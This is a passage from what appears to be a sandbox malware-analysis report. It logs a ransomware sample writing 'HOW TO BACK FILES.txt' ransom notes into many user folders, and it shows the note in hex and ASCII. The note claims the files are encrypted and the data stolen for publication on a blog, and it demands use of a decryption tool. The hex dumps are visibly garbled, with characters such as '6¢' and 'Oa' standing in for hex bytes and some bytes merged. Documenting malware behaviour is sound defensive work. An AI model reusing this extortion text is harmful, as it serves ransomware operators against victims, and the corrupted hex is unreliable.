6f 75 72 20 62 6¢ 6f 67
0d 0a 54 6f 20 72 65 74
7572 6e 20 79 6f 7572
20 66 69 6¢ 65 73 20 69
6e 20 77 6f 72 6b 20 63
6f 6e 64 69 74 69 6f 6e
20 79 6f 75 20 6e 65 65
64 20 64 65 63 7279 70
74 69 6f 6e 20 74 6f 6f 6¢
0d 0a 46 6f 6¢ 6¢ 6f 77 20
74 68 65 20 69 6e 73 74
7275 63 74 69 6f 6e 73
20 74 6f 20 64 65 63 72
7970 74 20 61 6¢ 6¢ 20
79 6f 7572 20 64 61 74
61 0d 0a 0d 0a
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File Path

C:\Users\user\Desktop\KATAXZVC
PS\HOW TO BACK FILES.txt

C:\Users\user\Desktop\LTKMYBSE
YZ\HOW TO BACK FILES.txt

Copyright Joe Security LLC 2023

Offset

0

0

Length Value

1410 48 65 6¢ 6¢ 6f 0d 0a 0d
0a 59 6f 75 72 20 66 69
6¢ 65 73 20 61 72 65 20
65 6e 63 72 79 70 74 65
64 20 61 6e 64 20 63 61
6e 20 6e 6f 74 20 62 65
20 75 73 65 64 0d 0a 57
65 20 68 61 76 65 20 64
6f 77 6e 6¢ 6f 61 64 65
6420 79 6f 75 72 20 63
6f 6e 66 69 64 65 6e 74
69 61 6¢ 20 64 61 74 61
20 61 6e 64 20 61 72 65
2072656164 7920 74
6f 20 70 75 62 6¢ 69 73
68 20 69 74 20 6f 6e 20
6f 75 72 20 62 6¢ 6f 67
0d 0a 54 6f 20 72 65 74
7572 6e 20 79 6f 75 72
20 66 69 6¢ 65 73 20 69
6e 20 77 6f 72 6b 20 63
6f 6e 64 69 74 69 6f 6e
20 79 6f 75 20 6e 65 65
64 20 64 65 63 7279 70
74 69 6f 6e 20 74 6f 6f 6¢
0d 0a 46 6f 6¢ 6¢ 6f 77 20
74 68 65 20 69 6e 73 74
7275 63 74 69 6f 6e 73
20 74 6f 20 64 65 63 72
7970 74 20 61 6¢ 6¢ 20
79 6f 7572 20 64 61 74
61 0d Oa 0d 0a

1410 48 65 6¢ 6¢ 6f 0d 0a 0d
0a 59 6f 75 72 20 66 69
6c 6573 2061 72 65 20
65 6e 63 7279 70 74 65
64 20 61 6e 64 20 63 61
6e 20 6e 6f 74 20 62 65
20 75 73 65 64 0d Oa 57
65 20 68 61 76 65 20 64
6f 77 6e 6¢ 6f 61 64 65
64 20 79 6f 75 72 20 63
6f 6e 66 69 64 65 6e 74
69 61 6¢ 20 64 61 74 61
20 61 6e 64 20 61 72 65
2072656164 7920 74
6f 20 70 75 62 6¢ 69 73
68 20 69 74 20 6f 6e 20
6f 75 72 20 62 6¢ 6f 67
0d 0a 54 6f 20 72 65 74
7572 6e 20 79 6f 7572
20 66 69 6¢ 65 73 20 69
6e 20 77 6f 72 6b 20 63
6f 6e 64 69 74 69 6f 6e
20 79 6f 75 20 6e 65 65
64 20 64 65 63 7279 70
74 69 6f 6e 20 74 6f 6f 6¢
0d 0a 46 6f 6¢ 6¢ 6f 77 20
74 68 65 20 69 6e 73 74
7275 63 74 69 6f 6e 73
20 74 6f 20 64 65 63 72
7970 74 20 61 6¢ 6¢ 20
79 6f 7572 20 64 61 74
61 0d 0a 0d 0a
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File Path

C:\Users\user\Desktop\NHPKIZUU
SG\HOW TO BACK FILES.txt

C:\Users\user\Desktop\QVTVNIBK
SD\HOW TO BACK FILES.txt

Copyright Joe Security LLC 2023

Offset

0

0

Length Value

1410 48 65 6¢ 6¢ 6f 0d 0a 0d
0a 59 6f 75 72 20 66 69
6¢ 65 73 20 61 72 65 20
65 6e 63 72 79 70 74 65
64 20 61 6e 64 20 63 61
6e 20 6e 6f 74 20 62 65
20 75 73 65 64 0d 0a 57
65 20 68 61 76 65 20 64
6f 77 6e 6¢ 6f 61 64 65
6420 79 6f 75 72 20 63
6f 6e 66 69 64 65 6e 74
69 61 6¢ 20 64 61 74 61
20 61 6e 64 20 61 72 65
2072656164 7920 74
6f 20 70 75 62 6¢ 69 73
68 20 69 74 20 6f 6e 20
6f 75 72 20 62 6¢ 6f 67
0d 0a 54 6f 20 72 65 74
7572 6e 20 79 6f 75 72
20 66 69 6¢ 65 73 20 69
6e 20 77 6f 72 6b 20 63
6f 6e 64 69 74 69 6f 6e
20 79 6f 75 20 6e 65 65
64 20 64 65 63 7279 70
74 69 6f 6e 20 74 6f 6f 6¢
0d 0a 46 6f 6¢ 6¢ 6f 77 20
74 68 65 20 69 6e 73 74
7275 63 74 69 6f 6e 73
20 74 6f 20 64 65 63 72
7970 74 20 61 6¢ 6¢ 20
79 6f 7572 20 64 61 74
61 0d Oa 0d 0a

1410 48 65 6¢ 6¢ 6f 0d 0a 0d
0a 59 6f 75 72 20 66 69
6c 6573 2061 72 65 20
65 6e 63 72 79 70 74 65
64 20 61 6e 64 20 63 61
6e 20 6e 6f 74 20 62 65
20 75 73 65 64 0d Oa 57
65 20 68 61 76 65 20 64
6f 77 6e 6¢ 6f 61 64 65
64 20 79 6f 75 72 20 63
6f 6e 66 69 64 65 6e 74
69 61 6¢ 20 64 61 74 61
20 61 6e 64 20 61 72 65
2072 65 61 64 7920 74
6f 20 70 75 62 6¢ 69 73
68 20 69 74 20 6f 6e 20
6f 75 72 20 62 6¢ 6f 67
0d 0a 54 6f 20 72 65 74
7572 6e 20 79 6f 7572
20 66 69 6¢ 65 73 20 69
6e 20 77 6f 72 6b 20 63
6f 6e 64 69 74 69 6f 6e
20 79 6f 75 20 6e 65 65
64 20 64 65 63 7279 70
74 69 6f 6e 20 74 6f 6f 6¢
0d 0a 46 6f 6¢ 6¢ 6f 77 20
74 68 65 20 69 6e 73 74
7275 63 74 69 6f 6e 73
20 74 6f 20 64 65 63 72
7970 74 20 61 6¢ 6¢ 20
79 6f 7572 20 64 61 74
61 0d 0a 0d 0a
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File Path

C:\Users\user\Desktop\UQMPCTZA
RJ\HOW TO BACK FILES.txt

C:\Users\user\Desktop\HOW TO B
ACK FILES.txt

Copyright Joe Security LLC 2023

Offset

0

0

Length Value

1410 48 65 6¢ 6¢ 6f 0d 0a 0d
0a 59 6f 75 72 20 66 69
6¢ 65 73 20 61 72 65 20
65 6e 63 72 79 70 74 65
64 20 61 6e 64 20 63 61
6e 20 6e 6f 74 20 62 65
20 75 73 65 64 0d 0a 57
65 20 68 61 76 65 20 64
6f 77 6e 6¢ 6f 61 64 65
6420 79 6f 75 72 20 63
6f 6e 66 69 64 65 6e 74
69 61 6¢ 20 64 61 74 61
20 61 6e 64 20 61 72 65
2072656164 7920 74
6f 20 70 75 62 6¢ 69 73
68 20 69 74 20 6f 6e 20
6f 75 72 20 62 6¢ 6f 67
0d 0a 54 6f 20 72 65 74
7572 6e 20 79 6f 75 72
20 66 69 6¢ 65 73 20 69
6e 20 77 6f 72 6b 20 63
6f 6e 64 69 74 69 6f 6e
20 79 6f 75 20 6e 65 65
64 20 64 65 63 7279 70
74 69 6f 6e 20 74 6f 6f 6¢
0d 0a 46 6f 6¢ 6¢ 6f 77 20
74 68 65 20 69 6e 73 74
7275 63 74 69 6f 6e 73
20 74 6f 20 64 65 63 72
7970 74 20 61 6¢ 6¢ 20
79 6f 7572 20 64 61 74
61 0d Oa 0d 0a

1410 48 65 6¢ 6¢ 6f 0d 0a 0d
0a 59 6f 75 72 20 66 69
6c 6573 2061 72 65 20
65 6e 63 72 79 70 74 65
64 20 61 6e 64 20 63 61
6e 20 6e 6f 74 20 62 65
20 75 73 65 64 0d Oa 57
65 20 68 61 76 65 20 64
6f 77 6e 6¢ 6f 61 64 65
64 20 79 6f 75 72 20 63
6f 6e 66 69 64 65 6e 74
69 61 6¢ 20 64 61 74 61
20 61 6e 64 20 61 72 65
2072 65 61 64 7920 74
6f 20 70 75 62 6¢ 69 73
68 20 69 74 20 6f 6e 20
6f 75 72 20 62 6¢ 6f 67
0d 0a 54 6f 20 72 65 74
7572 6e 20 79 6f 7572
20 66 69 6¢ 65 73 20 69
6e 20 77 6f 72 6b 20 63
6f 6e 64 69 74 69 6f 6e
20 79 6f 75 20 6e 65 65
64 20 64 65 63 7279 70
74 69 6f 6e 20 74 6f 6f 6¢
0d 0a 46 6f 6¢ 6¢ 6f 77 20
74 68 65 20 69 6e 73 74
7275 63 74 69 6f 6e 73
20 74 6f 20 64 65 63 72
7970 74 20 61 6¢ 6¢ 20
79 6f 7572 20 64 61 74
61 0d 0a 0d 0a
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File Path

C:\Users\user\Documents\DTBZGI
OOSO\HOW TO BACK FILES.txt

C:\Users\user\Documents\FACWLR
WHGG\HOW TO BACK FILES.txt

Copyright Joe Security LLC 2023

Offset

0

0

Length Value

1410 48 65 6¢ 6¢ 6f 0d 0a 0d
0a 59 6f 75 72 20 66 69
6¢ 65 73 20 61 72 65 20
65 6e 63 72 79 70 74 65
64 20 61 6e 64 20 63 61
6e 20 6e 6f 74 20 62 65
20 75 73 65 64 0d 0a 57
65 20 68 61 76 65 20 64
6f 77 6e 6¢ 6f 61 64 65
6420 79 6f 75 72 20 63
6f 6e 66 69 64 65 6e 74
69 61 6¢ 20 64 61 74 61
20 61 6e 64 20 61 72 65
2072656164 7920 74
6f 20 70 75 62 6¢ 69 73
68 20 69 74 20 6f 6e 20
6f 75 72 20 62 6¢ 6f 67
0d 0a 54 6f 20 72 65 74
7572 6e 20 79 6f 75 72
20 66 69 6¢ 65 73 20 69
6e 20 77 6f 72 6b 20 63
6f 6e 64 69 74 69 6f 6e
20 79 6f 75 20 6e 65 65
64 20 64 65 63 7279 70
74 69 6f 6e 20 74 6f 6f 6¢
0d 0a 46 6f 6¢ 6¢ 6f 77 20
74 68 65 20 69 6e 73 74
7275 63 74 69 6f 6e 73
20 74 6f 20 64 65 63 72
7970 74 20 61 6¢ 6¢ 20
79 6f 7572 20 64 61 74
61 0d Oa 0d 0a

1410 48 65 6¢ 6¢ 6f 0d 0a 0d
0a 59 6f 75 72 20 66 69
6c 6573 2061 72 65 20
65 6e 63 7279 70 74 65
64 20 61 6e 64 20 63 61
6e 20 6e 6f 74 20 62 65
20 75 73 65 64 0d Oa 57
65 20 68 61 76 65 20 64
6f 77 6e 6¢ 6f 61 64 65
64 20 79 6f 75 72 20 63
6f 6e 66 69 64 65 6e 74
69 61 6¢ 20 64 61 74 61
20 61 6e 64 20 61 72 65
2072 65 61 64 7920 74
6f 20 70 75 62 6¢ 69 73
68 20 69 74 20 6f 6e 20
6f 75 72 20 62 6¢ 6f 67
0d 0a 54 6f 20 72 65 74
7572 6e 20 79 6f 7572
20 66 69 6¢ 65 73 20 69
6e 20 77 6f 72 6b 20 63
6f 6e 64 69 74 69 6f 6e
20 79 6f 75 20 6e 65 65
64 20 64 65 63 7279 70
74 69 6f 6e 20 74 6f 6f 6¢
0d 0a 46 6f 6¢ 6¢ 6f 77 20
74 68 65 20 69 6e 73 74
7275 63 74 69 6f 6e 73
20 74 6f 20 64 65 63 72
7970 74 20 61 6¢ 6¢ 20
79 6f 7572 20 64 61 74
61 0d 0a 0d 0a
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HelloYour files are success or wait 6 E54B94
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your data
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File Path

C:\Users\user\Documents\IVHSHT
CODI\HOW TO BACK FILES.txt

C:\Users\user\Documents\JDSOXX
XWOA\HOW TO BACK FILES.txt

Copyright Joe Security LLC 2023

Offset

0

0

Length Value

1410 48 65 6¢ 6¢ 6f 0d 0a 0d
0a 59 6f 75 72 20 66 69
6¢ 65 73 20 61 72 65 20
65 6e 63 72 79 70 74 65
64 20 61 6e 64 20 63 61
6e 20 6e 6f 74 20 62 65
20 75 73 65 64 0d 0a 57
65 20 68 61 76 65 20 64
6f 77 6e 6¢ 6f 61 64 65
6420 79 6f 75 72 20 63
6f 6e 66 69 64 65 6e 74
69 61 6¢ 20 64 61 74 61
20 61 6e 64 20 61 72 65
2072656164 7920 74
6f 20 70 75 62 6¢ 69 73
68 20 69 74 20 6f 6e 20
6f 75 72 20 62 6¢ 6f 67
0d 0a 54 6f 20 72 65 74
7572 6e 20 79 6f 75 72
20 66 69 6¢ 65 73 20 69
6e 20 77 6f 72 6b 20 63
6f 6e 64 69 74 69 6f 6e
20 79 6f 75 20 6e 65 65
64 20 64 65 63 7279 70
74 69 6f 6e 20 74 6f 6f 6¢
0d 0a 46 6f 6¢ 6¢ 6f 77 20
74 68 65 20 69 6e 73 74
7275 63 74 69 6f 6e 73
20 74 6f 20 64 65 63 72
7970 74 20 61 6¢ 6¢ 20
79 6f 7572 20 64 61 74
61 0d Oa 0d 0a

1410 48 65 6¢ 6¢ 6f 0d 0a 0d
0a 59 6f 75 72 20 66 69
6c 6573 2061 72 65 20
65 6e 63 72 79 70 74 65
64 20 61 6e 64 20 63 61
6e 20 6e 6f 74 20 62 65
20 75 73 65 64 0d Oa 57
65 20 68 61 76 65 20 64
6f 77 6e 6¢ 6f 61 64 65
64 20 79 6f 75 72 20 63
6f 6e 66 69 64 65 6e 74
69 61 6¢ 20 64 61 74 61
20 61 6e 64 20 61 72 65
2072 65 61 64 7920 74
6f 20 70 75 62 6¢ 69 73
68 20 69 74 20 6f 6e 20
6f 75 72 20 62 6¢ 6f 67
0d 0a 54 6f 20 72 65 74
7572 6e 20 79 6f 7572
20 66 69 6¢ 65 73 20 69
6e 20 77 6f 72 6b 20 63
6f 6e 64 69 74 69 6f 6e
20 79 6f 75 20 6e 65 65
64 20 64 65 63 7279 70
74 69 6f 6e 20 74 6f 6f 6¢
0d 0a 46 6f 6¢ 6¢ 6f 77 20
74 68 65 20 69 6e 73 74
7275 63 74 69 6f 6e 73
20 74 6f 20 64 65 63 72
7970 74 20 61 6¢ 6¢ 20
79 6f 7572 20 64 61 74
61 0d 0a 0d 0a
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HelloYour files are success or wait 6 E54B94
encrypted and can not be
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your data
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File Path

C:\Users\user\Documents\KATAXZ
VCPS\HOW TO BACK FILES.txt

C:\Users\user\Documents\LTKMYB
SEYZ\HOW TO BACK FILES.txt

Copyright Joe Security LLC 2023

Offset

0

0

Length Value

1410 48 65 6¢ 6¢ 6f 0d 0a 0d
0a 59 6f 75 72 20 66 69
6¢ 65 73 20 61 72 65 20
65 6e 63 72 79 70 74 65
64 20 61 6e 64 20 63 61
6e 20 6e 6f 74 20 62 65
20 75 73 65 64 0d 0a 57
65 20 68 61 76 65 20 64
6f 77 6e 6¢ 6f 61 64 65
6420 79 6f 75 72 20 63
6f 6e 66 69 64 65 6e 74
69 61 6¢ 20 64 61 74 61
20 61 6e 64 20 61 72 65
2072656164 7920 74
6f 20 70 75 62 6¢ 69 73
68 20 69 74 20 6f 6e 20
6f 75 72 20 62 6¢ 6f 67
0d 0a 54 6f 20 72 65 74
7572 6e 20 79 6f 75 72
20 66 69 6¢ 65 73 20 69
6e 20 77 6f 72 6b 20 63
6f 6e 64 69 74 69 6f 6e
20 79 6f 75 20 6e 65 65
64 20 64 65 63 7279 70
74 69 6f 6e 20 74 6f 6f 6¢
0d 0a 46 6f 6¢ 6¢ 6f 77 20
74 68 65 20 69 6e 73 74
7275 63 74 69 6f 6e 73
20 74 6f 20 64 65 63 72
7970 74 20 61 6¢ 6¢ 20
79 6f 7572 20 64 61 74
61 0d Oa 0d 0a

1410 48 65 6¢ 6¢ 6f 0d 0a 0d
0a 59 6f 75 72 20 66 69
6c 6573 2061 72 65 20
65 6e 63 7279 70 74 65
64 20 61 6e 64 20 63 61
6e 20 6e 6f 74 20 62 65
20 75 73 65 64 0d Oa 57
65 20 68 61 76 65 20 64
6f 77 6e 6¢ 6f 61 64 65
64 20 79 6f 75 72 20 63
6f 6e 66 69 64 65 6e 74
69 61 6¢ 20 64 61 74 61
20 61 6e 64 20 61 72 65
2072 65 61 64 7920 74
6f 20 70 75 62 6¢ 69 73
68 20 69 74 20 6f 6e 20
6f 75 72 20 62 6¢ 6f 67
0d 0a 54 6f 20 72 65 74
7572 6e 20 79 6f 7572
20 66 69 6¢ 65 73 20 69
6e 20 77 6f 72 6b 20 63
6f 6e 64 69 74 69 6f 6e
20 79 6f 75 20 6e 65 65
64 20 64 65 63 7279 70
74 69 6f 6e 20 74 6f 6f 6¢
0d 0a 46 6f 6¢ 6¢ 6f 77 20
74 68 65 20 69 6e 73 74
7275 63 74 69 6f 6e 73
20 74 6f 20 64 65 63 72
7970 74 20 61 6¢ 6¢ 20
79 6f 7572 20 64 61 74
61 0d 0a 0d 0a
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File Path

C:\Users\user\Music\HOW TO BACK
FILES.txt

C:\Users\user\Pictures\Camera
RolN\HOW TO BACK FILES.txt

Copyright Joe Security LLC 2023

Offset

0

0

Length Value

1410 48 65 6¢ 6¢ 6f 0d 0a 0d
0a 59 6f 75 72 20 66 69
6¢ 65 73 20 61 72 65 20
65 6e 63 72 79 70 74 65
64 20 61 6e 64 20 63 61
6e 20 6e 6f 74 20 62 65
20 75 73 65 64 0d 0a 57
65 20 68 61 76 65 20 64
6f 77 6e 6¢ 6f 61 64 65
6420 79 6f 75 72 20 63
6f 6e 66 69 64 65 6e 74
69 61 6¢ 20 64 61 74 61
20 61 6e 64 20 61 72 65
2072656164 7920 74
6f 20 70 75 62 6¢ 69 73
68 20 69 74 20 6f 6e 20
6f 75 72 20 62 6¢ 6f 67
0d 0a 54 6f 20 72 65 74
7572 6e 20 79 6f 75 72
20 66 69 6¢ 65 73 20 69
6e 20 77 6f 72 6b 20 63
6f 6e 64 69 74 69 6f 6e
20 79 6f 75 20 6e 65 65
64 20 64 65 63 7279 70
74 69 6f 6e 20 74 6f 6f 6¢
0d 0a 46 6f 6¢ 6¢ 6f 77 20
74 68 65 20 69 6e 73 74
7275 63 74 69 6f 6e 73
20 74 6f 20 64 65 63 72
7970 74 20 61 6¢ 6¢ 20
79 6f 7572 20 64 61 74
61 0d Oa 0d 0a

1410 48 65 6¢ 6¢ 6f 0d 0a 0d
0a 59 6f 75 72 20 66 69
6c 6573 2061 72 65 20
65 6e 63 72 79 70 74 65
64 20 61 6e 64 20 63 61
6e 20 6e 6f 74 20 62 65
20 75 73 65 64 0d Oa 57
65 20 68 61 76 65 20 64
6f 77 6e 6¢ 6f 61 64 65
64 20 79 6f 75 72 20 63
6f 6e 66 69 64 65 6e 74
69 61 6¢ 20 64 61 74 61
20 61 6e 64 20 61 72 65
2072 65 61 64 7920 74
6f 20 70 75 62 6¢ 69 73
68 20 69 74 20 6f 6e 20
6f 75 72 20 62 6¢ 6f 67
0d 0a 54 6f 20 72 65 74
7572 6e 20 79 6f 7572
20 66 69 6¢ 65 73 20 69
6e 20 77 6f 72 6b 20 63
6f 6e 64 69 74 69 6f 6e
20 79 6f 75 20 6e 65 65
64 20 64 65 63 7279 70
74 69 6f 6e 20 74 6f 6f 6¢
0d 0a 46 6f 6¢ 6¢ 6f 77 20
74 68 65 20 69 6e 73 74
7275 63 74 69 6f 6e 73
20 74 6f 20 64 65 63 72
7970 74 20 61 6¢ 6¢ 20
79 6f 7572 20 64 61 74
61 0d 0a 0d 0a
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usedWe have dow

nloaded your confidential

data and are ready to

publish it on our blogTo

return your files in work

condition you need de

cryption toolFollow the

instructions to decrypt all

your data

HelloYour files are success or wait 6 E54B94
encrypted and can not be

usedWe have dow

nloaded your confidential

data and are ready to

publish it on our blogTo

return your files in work

condition you need de

cryption toolFollow the

instructions to decrypt all

your data
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File Path

C:\Users\user\Pictures\Saved P
ictures\HOW TO BACK FILES.txt

C:\Users\user\Pictures\HOW TO
BACK FILES.txt

Copyright Joe Security LLC 2023

Offset

0

0

Length Value

1410 48 65 6¢ 6¢ 6f 0d 0a 0d
0a 59 6f 75 72 20 66 69
6¢ 65 73 20 61 72 65 20
65 6e 63 72 79 70 74 65
64 20 61 6e 64 20 63 61
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68 20 69 74 20 6f 6e 20
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6e 20 6e 6f 74 20 62 65
20 75 73 65 64 0d Oa 57
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20 66 69 6¢ 65 73 20 69
6e 20 77 6f 72 6b 20 63
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20 66 69 6¢ 65 73 20 69
6e 20 77 6f 72 6b 20 63
6f 6e 64 69 74 69 6f 6e
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6f 6e 66 69 64 65 6e 74
69 61 6¢ 20 64 61 74 61
20 61 6e 64 20 61 72 65
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68 20 69 74 20 6f 6e 20
6f 75 72 20 62 6¢ 6f 67
0d 0a 54 6f 20 72 65 74
7572 6e 20 79 6f 7572
20 66 69 6¢ 65 73 20 69
6e 20 77 6f 72 6b 20 63
6f 6e 64 69 74 69 6f 6e
20 79 6f 75 20 6e 65 65
64 20 64 65 63 7279 70
74 69 6f 6e 20 74 6f 6f 6¢
0d 0a 46 6f 6¢ 6¢ 6f 77 20
74 68 65 20 69 6e 73 74
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69 61 6¢ 20 64 61 74 61
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6f 20 70 75 62 6¢ 69 73
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6f 75 72 20 62 6¢ 6f 67
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6f 6e 64 69 74 69 6f 6e
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1410 48 65 6¢ 6¢ 6f 0d 0a 0d
0a 59 6f 75 72 20 66 69
6¢ 65 73 20 61 72 65 20
65 6e 63 72 79 70 74 65
64 20 61 6e 64 20 63 61
6e 20 6e 6f 74 20 62 65
20 7573 65 64 0d Oa 57
65 20 68 61 76 65 20 64
6f 77 6e 6¢ 6f 61 64 65
6420 79 6f 75 72 20 63
6f 6e 66 69 64 65 6e 74
69 61 6¢ 20 64 61 74 61
20 61 6e 64 20 61 72 65
2072656164 7920 74
6f 20 70 75 62 6¢ 69 73
68 20 69 74 20 6f 6e 20
6f 75 72 20 62 6¢ 6f 67
0d 0a 54 6f 20 72 65 74
7572 6e 20 79 6f 75 72
20 66 69 6¢ 65 73 20 69
6e 20 77 6f 72 6b 20 63
6f 6e 64 69 74 69 6f 6e
20 79 6f 75 20 6e 65 65
64 20 64 65 63 7279 70
74 69 6f 6e 20 74 6f 6f 6¢
0d 0a 46 6f 6¢ 6¢ 6f 77 20
74 68 65 20 69 6e 73 74
7275 63 74 69 6f 6e 73
20 74 6f 20 64 65 63 72
7970 74 20 61 6¢ 6¢ 20
79 6f 7572 20 64 61 74
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1410 48 65 6¢ 6¢ 6f 0d 0a 0d
0a 59 6f 75 72 20 66 69
6c 6573 2061 72 65 20
65 6e 63 72 79 70 74 65
64 20 61 6e 64 20 63 61
6e 20 6e 6f 74 20 62 65
20 75 73 65 64 0d Oa 57
65 20 68 61 76 65 20 64
6f 77 6e 6¢ 6f 61 64 65
64 20 79 6f 75 72 20 63
6f 6e 66 69 64 65 6e 74
69 61 6¢ 20 64 61 74 61
20 61 6e 64 20 61 72 65
2072 65 61 64 7920 74
6f 20 70 75 62 6¢ 69 73
68 20 69 74 20 6f 6e 20
6f 75 72 20 62 6¢ 6f 67
0d 0a 54 6f 20 72 65 74
7572 6e 20 79 6f 7572
20 66 69 6¢ 65 73 20 69
6e 20 77 6f 72 6b 20 63
6f 6e 64 69 74 69 6f 6e
20 79 6f 75 20 6e 65 65
64 20 64 65 63 7279 70
74 69 6f 6e 20 74 6f 6f 6¢
0d 0a 46 6f 6¢ 6¢ 6f 77 20
74 68 65 20 69 6e 73 74
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20 74 6f 20 64 65 63 72
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61 0d 0a 0d 0a
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1410 48 65 6¢ 6¢ 6f 0d 0a 0d
0Oa 59 6f 75 72 20 66 69
6¢c 65732061 72 65 20
65 6e 63 72 79 70 74 65
64 20 61 6e 64 20 63 61
6e 20 6e 6f 74 20 62 65
20 7573 65 64 0d Oa 57
65 20 68 61 76 65 20 64
6f 77 6e 6¢ 6f 61 64 65
64 20 79 6f 75 72 20 63
6f 6e 66 69 64 65 6e 74
69 61 6¢ 20 64 61 74 61
20 61 6e 64 20 61 72 65
2072656164 7920 74
6f 20 70 75 62 6¢ 69 73
68 20 69 74 20 6f 6e 20
6f 75 72 20 62 6¢ 6f 67
0d Oa 54 6f 20 72 65 74
7572 6e 20 79 6f 75 72
20 66 69 6¢ 65 73 20 69
6e 20 77 6f 72 6b 20 63
6f 6e 64 69 74 69 6f 6e
20 79 6f 75 20 6e 65 65
64 20 64 65 63 7279 70
74 69 6f 6e 20 74 6f 6f 6¢
0d 0a 46 6f 6¢ 6¢ 6f 77 20
74 68 65 20 69 6e 73 74
7275 63 74 69 6f 6e 73
20 74 6f 20 64 65 63 72
7970 74 20 61 6¢ 6¢ 20
79 6f 75 72 20 64 61 74
61 0d Oa 0d 0a

1410 48 65 6¢ 6¢ 6f 0d 0a 0d
0a 59 6f 75 72 20 66 69
6c 6573 20 61 72 65 20
65 6e 63 7279 70 74 65
64 20 61 6e 64 20 63 61
6e 20 6e 6f 74 20 62 65
20 75 73 65 64 0d Oa 57
65 20 68 61 76 65 20 64
6f 77 6e 6¢ 6f 61 64 65
64 20 79 6f 75 72 20 63
6f 6e 66 69 64 65 6e 74
69 61 6¢ 20 64 61 74 61
20 61 6e 64 20 61 72 65
2072 65 61 64 7920 74
6f 20 70 75 62 6¢ 69 73
68 20 69 74 20 6f 6e 20
6f 75 72 20 62 6¢ 6f 67
0d 0a 54 6f 20 72 65 74
7572 6e 20 79 6f 7572
20 66 69 6¢ 65 73 20 69
6e 20 77 6f 72 6b 20 63
6f 6e 64 69 74 69 6f 6e
20 79 6f 75 20 6e 65 65
64 20 64 65 63 7279 70
74 69 6f 6e 20 74 6f 6f 6¢
0d 0a 46 6f 6¢ 6¢ 6f 77 20
74 68 65 20 69 6e 73 74
7275 63 74 69 6f 6e 73
20 74 6f 20 64 65 63 72
7970 74 20 61 6¢ 6¢ 20
79 6f 75 72 20 64 61 74
61 0d 0a 0d 0a

Ascii Completion Count Source Address

HelloYour files are success or wait 3 E54B94
encrypted and can not be

usedWe have dow

nloaded your confidential

data and are ready to

publish it on our blogTo

return your files in work

condition you need de

cryption toolFollow the

instructions to decrypt all

your data

HelloYour files are success or wait 3 E54B94
encrypted and can not be

usedWe have dow

nloaded your confidential

data and are ready to

publish it on our blogTo

return your files in work

condition you need de

cryption toolFollow the

instructions to decrypt all

your data

Symbol

WriteFile

WriteFile

Page 158 of 379



File Path

C:\Users\user\AppData\Local\D3
DSCache\HOW TO BACK FILES.txt

C:\Users\user\AppData\Local\Mi
crosoft\Windows\History\Histor
y.|[E5\MSHist012023100420231005
\HOW TO BACK FILES.txt

Copyright Joe Security LLC 2023

Offset

0

0

Length Value

1410 48 65 6¢ 6¢ 6f 0d 0a 0d
0a 59 6f 75 72 20 66 69
6¢ 65 73 20 61 72 65 20
65 6e 63 72 79 70 74 65
64 20 61 6e 64 20 63 61
6e 20 6e 6f 74 20 62 65
20 75 73 65 64 0d 0a 57
65 20 68 61 76 65 20 64
6f 77 6e 6¢ 6f 61 64 65
6420 79 6f 75 72 20 63
6f 6e 66 69 64 65 6e 74
69 61 6¢ 20 64 61 74 61
20 61 6e 64 20 61 72 65
2072656164 7920 74
6f 20 70 75 62 6¢ 69 73
68 20 69 74 20 6f 6e 20
6f 75 72 20 62 6¢ 6f 67
0d 0a 54 6f 20 72 65 74
7572 6e 20 79 6f 75 72
20 66 69 6¢ 65 73 20 69
6e 20 77 6f 72 6b 20 63
6f 6e 64 69 74 69 6f 6e
20 79 6f 75 20 6e 65 65
64 20 64 65 63 7279 70
74 69 6f 6e 20 74 6f 6f 6¢
0d 0a 46 6f 6¢ 6¢ 6f 77 20
74 68 65 20 69 6e 73 74
7275 63 74 69 6f 6e 73
20 74 6f 20 64 65 63 72
7970 74 20 61 6¢ 6¢ 20
79 6f 7572 20 64 61 74
61 0d Oa 0d 0a

1410 48 65 6¢ 6¢ 6f 0d 0a 0d
0a 59 6f 75 72 20 66 69
6c 6573 2061 72 65 20
65 6e 63 7279 70 74 65
64 20 61 6e 64 20 63 61
6e 20 6e 6f 74 20 62 65
20 75 73 65 64 0d Oa 57
65 20 68 61 76 65 20 64
6f 77 6e 6¢ 6f 61 64 65
64 20 79 6f 75 72 20 63
6f 6e 66 69 64 65 6e 74
69 61 6¢ 20 64 61 74 61
20 61 6e 64 20 61 72 65
2072 65 61 64 7920 74
6f 20 70 75 62 6¢ 69 73
68 20 69 74 20 6f 6e 20
6f 75 72 20 62 6¢ 6f 67
0d 0a 54 6f 20 72 65 74
7572 6e 20 79 6f 7572
20 66 69 6¢ 65 73 20 69
6e 20 77 6f 72 6b 20 63
6f 6e 64 69 74 69 6f 6e
20 79 6f 75 20 6e 65 65
64 20 64 65 63 7279 70
74 69 6f 6e 20 74 6f 6f 6¢
0d 0a 46 6f 6¢ 6¢ 6f 77 20
74 68 65 20 69 6e 73 74
7275 63 74 69 6f 6e 73
20 74 6f 20 64 65 63 72
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1410 48 65 6¢ 6¢ 6f 0d 0a 0d
0a 59 6f 75 72 20 66 69
6¢ 65 73 20 61 72 65 20
65 6e 63 72 79 70 74 65
64 20 61 6e 64 20 63 61
6e 20 6e 6f 74 20 62 65
20 75 73 65 64 0d 0a 57
65 20 68 61 76 65 20 64
6f 77 6e 6¢ 6f 61 64 65
6420 79 6f 75 72 20 63
6f 6e 66 69 64 65 6e 74
69 61 6¢ 20 64 61 74 61
20 61 6e 64 20 61 72 65
2072656164 7920 74
6f 20 70 75 62 6¢ 69 73
68 20 69 74 20 6f 6e 20
6f 75 72 20 62 6¢ 6f 67
0d 0a 54 6f 20 72 65 74
7572 6e 20 79 6f 75 72
20 66 69 6¢ 65 73 20 69
6e 20 77 6f 72 6b 20 63
6f 6e 64 69 74 69 6f 6e
20 79 6f 75 20 6e 65 65
64 20 64 65 63 7279 70
74 69 6f 6e 20 74 6f 6f 6¢
0d 0a 46 6f 6¢ 6¢ 6f 77 20
74 68 65 20 69 6e 73 74
7275 63 74 69 6f 6e 73
20 74 6f 20 64 65 63 72
7970 74 20 61 6¢ 6¢ 20
79 6f 7572 20 64 61 74
61 0d Oa 0d 0a

1410 48 65 6¢ 6¢ 6f 0d 0a 0d
0a 59 6f 75 72 20 66 69
6c 6573 2061 72 65 20
65 6e 63 72 79 70 74 65
64 20 61 6e 64 20 63 61
6e 20 6e 6f 74 20 62 65
20 75 73 65 64 0d Oa 57
65 20 68 61 76 65 20 64
6f 77 6e 6¢ 6f 61 64 65
64 20 79 6f 75 72 20 63
6f 6e 66 69 64 65 6e 74
